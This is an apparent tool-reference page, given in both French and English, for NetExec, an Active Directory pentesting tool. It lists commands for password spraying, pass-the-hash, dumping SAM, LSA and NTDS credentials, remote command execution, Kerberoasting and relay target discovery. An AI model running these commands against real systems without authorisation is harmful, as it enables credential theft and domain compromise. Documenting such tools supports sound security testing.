retour aux outils back to tools Ducklings

NetExec

Successeur moderne de CrackMapExec. Couteau suisse pour tester les environnements Windows et Active Directory via SMB, WinRM, LDAP, et plus. Modern successor to CrackMapExec. Swiss army knife for pentesting Windows and Active Directory environments over SMB, WinRM, LDAP, and more.

↗ https://github.com/Pennyw0rth/NetExec

Overview

NetExec (nxc) is the maintained successor to CrackMapExec. It automates common tasks in Windows/AD environments — credential validation, hash spraying, secret dumping, command execution, and enumeration.

Common Usage

Credential validation (password spray)

nxc smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success

Validate with hash (PTH)

nxc smb 10.10.10.1 -u administrator -H <ntlm_hash>

Dump SAM

nxc smb 10.10.10.1 -u admin -p 'Pass' --sam

Dump LSA secrets

nxc smb 10.10.10.1 -u admin -p 'Pass' --lsa

Dump NTDS (domain controller)

nxc smb dc01 -u admin -p 'Pass' --ntds

Execute command

nxc smb 10.10.10.1 -u admin -p 'Pass' -x "whoami"

WinRM execution

nxc winrm 10.10.10.1 -u admin -p 'Pass' -x "whoami"

# LDAP enumeration
nxc ldap dc01 -u user -p 'Pass' --users
nxc ldap dc01 -u user -p 'Pass' --groups
nxc ldap dc01 -u user -p 'Pass' --kerberoasting kerberoast.txt
nxc ldap dc01 -u user -p 'Pass' --asreproast asrep.txt

SMB signing check (for relay target list)

nxc smb 10.10.10.0/24 --gen-relay-list targets.txt

Protocol Quick Reference

Protocol	Default Port	Use Case
`smb`	445	Credential spray, exec, secret dump
`winrm`	5985	Remote management, shell
`ldap`	389/636	AD enumeration, Kerberoasting
`rdp`	3389	Credential validation
`mssql`	1433	DB access, xp_cmdshell
`ssh`	22	Linux targets

Help / Man page

nxc <protocol> <target> [options]

PROTOCOLS: smb, winrm, ldap, rdp, mssql, ssh, ftp, vnc, wmi

AUTHENTICATION:
  -u USER / -U FILE     Username / list
  -p PASS / -P FILE     Password / list
  -H HASH               NTLM hash (PTH)
  -k                    Kerberos authentication
  --use-kcache          Use ccache file

EXECUTION:
  -x CMD                Execute command via cmd.exe
  -X CMD                Execute PowerShell command

SMB:
  --shares              Enumerate shares
  --sessions            List sessions
  --disks               List disks
  --loggedon-users      List logged-on users
  --users               Enumerate domain users
  --groups              Enumerate domain groups
  --pass-pol            Get password policy
  --sam                 Dump SAM hashes
  --lsa                 Dump LSA secrets
  --ntds                Dump NTDS.dit (DC only)
  --gen-relay-list FILE Hosts without SMB signing

LDAP:
  --users               Enumerate users
  --groups              Enumerate groups
  --kerberoasting FILE  Kerberoast all SPNs
  --asreproast FILE     AS-REP roast

OUTPUT:
  --export FORMAT FILE  Export results (csv, json)
  -v                    Verbose

Vue d’ensemble

NetExec (nxc) est le successeur maintenu de CrackMapExec. Il automatise les tâches courantes dans les environnements Windows/AD : validation de credentials, spray de hachages, extraction de secrets, exécution de commandes et énumération.

Utilisation courante

# Validation de credentials (password spray)
nxc smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success

# Valider avec un hachage (PTH)
nxc smb 10.10.10.1 -u administrator -H <ntlm_hash>

# Extraire SAM
nxc smb 10.10.10.1 -u admin -p 'Pass' --sam

# Extraire les secrets LSA
nxc smb 10.10.10.1 -u admin -p 'Pass' --lsa

# Extraire NTDS (contrôleur de domaine)
nxc smb dc01 -u admin -p 'Pass' --ntds

# Exécuter une commande
nxc smb 10.10.10.1 -u admin -p 'Pass' -x "whoami"

# Exécution via WinRM
nxc winrm 10.10.10.1 -u admin -p 'Pass' -x "whoami"

# Énumération LDAP
nxc ldap dc01 -u user -p 'Pass' --users
nxc ldap dc01 -u user -p 'Pass' --groups
nxc ldap dc01 -u user -p 'Pass' --kerberoasting kerberoast.txt
nxc ldap dc01 -u user -p 'Pass' --asreproast asrep.txt

# Vérification de la signature SMB (pour la liste de cibles de relay)
nxc smb 10.10.10.0/24 --gen-relay-list targets.txt

Référence rapide des protocoles

Protocole	Port par défaut	Cas d’usage
`smb`	445	Spray de credentials, exec, extraction de secrets
`winrm`	5985	Administration à distance, shell
`ldap`	389/636	Énumération AD, Kerberoasting
`rdp`	3389	Validation de credentials
`mssql`	1433	Accès DB, xp_cmdshell
`ssh`	22	Cibles Linux

Aide / Page de manuel

nxc <protocol> <target> [options]

PROTOCOLS: smb, winrm, ldap, rdp, mssql, ssh, ftp, vnc, wmi

AUTHENTICATION:
  -u USER / -U FILE     Username / list
  -p PASS / -P FILE     Password / list
  -H HASH               NTLM hash (PTH)
  -k                    Kerberos authentication
  --use-kcache          Use ccache file

EXECUTION:
  -x CMD                Execute command via cmd.exe
  -X CMD                Execute PowerShell command

SMB:
  --shares              Enumerate shares
  --sessions            List sessions
  --disks               List disks
  --loggedon-users      List logged-on users
  --users               Enumerate domain users
  --groups              Enumerate domain groups
  --pass-pol            Get password policy
  --sam                 Dump SAM hashes
  --lsa                 Dump LSA secrets
  --ntds                Dump NTDS.dit (DC only)
  --gen-relay-list FILE Hosts without SMB signing

LDAP:
  --users               Enumerate users
  --groups              Enumerate groups
  --kerberoasting FILE  Kerberoast all SPNs
  --asreproast FILE     AS-REP roast

OUTPUT:
  --export FORMAT FILE  Export results (csv, json)
  -v                    Verbose